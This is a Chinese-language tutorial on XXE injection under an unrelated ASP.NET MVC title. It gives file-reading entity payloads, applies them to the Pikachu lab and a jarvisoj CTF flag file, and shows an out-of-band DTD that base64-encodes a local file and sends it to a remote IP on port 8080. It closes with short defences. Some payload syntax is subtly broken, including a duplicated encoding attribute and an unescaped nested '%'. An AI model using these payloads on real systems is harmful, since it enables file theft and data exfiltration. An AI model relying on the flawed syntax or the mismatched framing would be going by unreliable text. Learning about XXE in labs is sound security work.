ASP.NET MVC如何使用Ajax的輔助方法
一.XXE的原理
運維人員使用了低版本php,libxml低於2.9.1就會造成XXE或者程式設計師設定了libxml_disable_entity_loader(FALSE);
要點:libxml2.9.1及以後,預設不解析外部實體。測試的時候windows下使用的是php5.2(libxml Version 2.7.7 ), php5.3(libxml Version 2.7.8)。Linux中需要將libxml低於libxml2.9.1的版本編譯到PHP中,可以使用phpinfo()檢視libxml的版本資訊。
如圖,libxml低於2.9.1,說明存在XXE漏洞
二.XXE的定義
XML用於標記電子檔案使其具有結構性的標記語言,可以用來標記資料、定義資料型別,是一種允許使用者對自己的標記語言進行定義的源語言。XML文件結構包括XML宣告、DTD文件型別定義(可選)、文件元素。
三.XXE的文件結構
<?xml version=”1.0” encoding="gb2312" encoding=”UTF-8”?>
xml宣告、版本(gb2312表示中國)、編碼(UTF-8指的是萬能編碼,它支援各個國家的語言)
<!DOCTYPE root system "http://www.XXXX.com/file"[ ...
定義DTD檔案,格式為:root指定根節點名稱,system宣告要使用的外部DTD檔案路徑,後面加檔案URL,注意[]包裹。
<!ELEMENT root (other)> ...
元素宣告,宣告xml中包含的元素,宣告中需要指定元素名稱(root、other等)和元素類別、內容等
四.DTD的基礎知識
基本的PAYLOAD結構:
DTD實體宣告
內部實體宣告
示例:
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY
xxe
"oldboyedu.com"
>]>
<foo>&xxe;</foo>
外部實體宣告
任何語言都支援file、http、ftp協議
示例:
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM
"file:///c:/windows/win.ini"
>]>
<foo>&xxe;</foo>
引數實體宣告
示例:
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM
"http://192.168.0.105:8080/evil.dtd"
>
%xxe;]>
<foo>&evil;</foo>
五.XXE攻擊
有回顯情況
示例:
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY % xxe
SYSTEM"http://xxx.xxx.xxx/evil.dtd">
%xxe;]>
<foo>&evil;</foo>
無回顯情況
建立*.dtd
示例:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/1.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.0.105:8080?p=%file;'>">
定義DTD檔案上傳到伺服器,然後呼叫就可以了
xml呼叫
示例:
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>
把顯示在日誌裡的結果通過burp suite解密
六.XXE漏洞利用及相關擴充套件知識
pikachu xxe程式碼
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///C://1.txt">
]>
<x>&f;</x>
示例:
開啟pikachu,通過Burp suite 抓包(1.挖XXE漏洞首先找有引數的地方2.看他的accept頭允許哪種語言,發現xml說明允許xml提交語言3.可以在引數出隨意輸入值(因為引數沒有過濾,其次libxml低於2.9)
還有一種方法就是看xml後面是否是XXE編碼
找到漏洞後,輸入程式碼:<?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "file:///C://2.txt"> ]> <x>&f;</x>
jarvisoj上的一道題目API呼叫
這道題的題目說明是 請設法獲得目標機器/home/ctf/flag.txt中的flag值。
進入題目http://web.jarvisoj.com:9882/發現一個輸入框,我們對其進行抓包
把json改為xml,把最後一行復製為
<?xml version = "1.0"?>
<!DOCTYPE xxe [
<!ENTITY file SYSTEM "file:///home/ctf/flag.txt">
]>
<x>&file;</x>
七.XXE漏洞修復與防禦
複製一行程式碼
libxml_disable_entity_loader(true);
升級為高版本
手動黑名單過濾
過濾關鍵詞:<!DOCTYPE
、
<!ENTITY SYSTEM
、
PUBLIC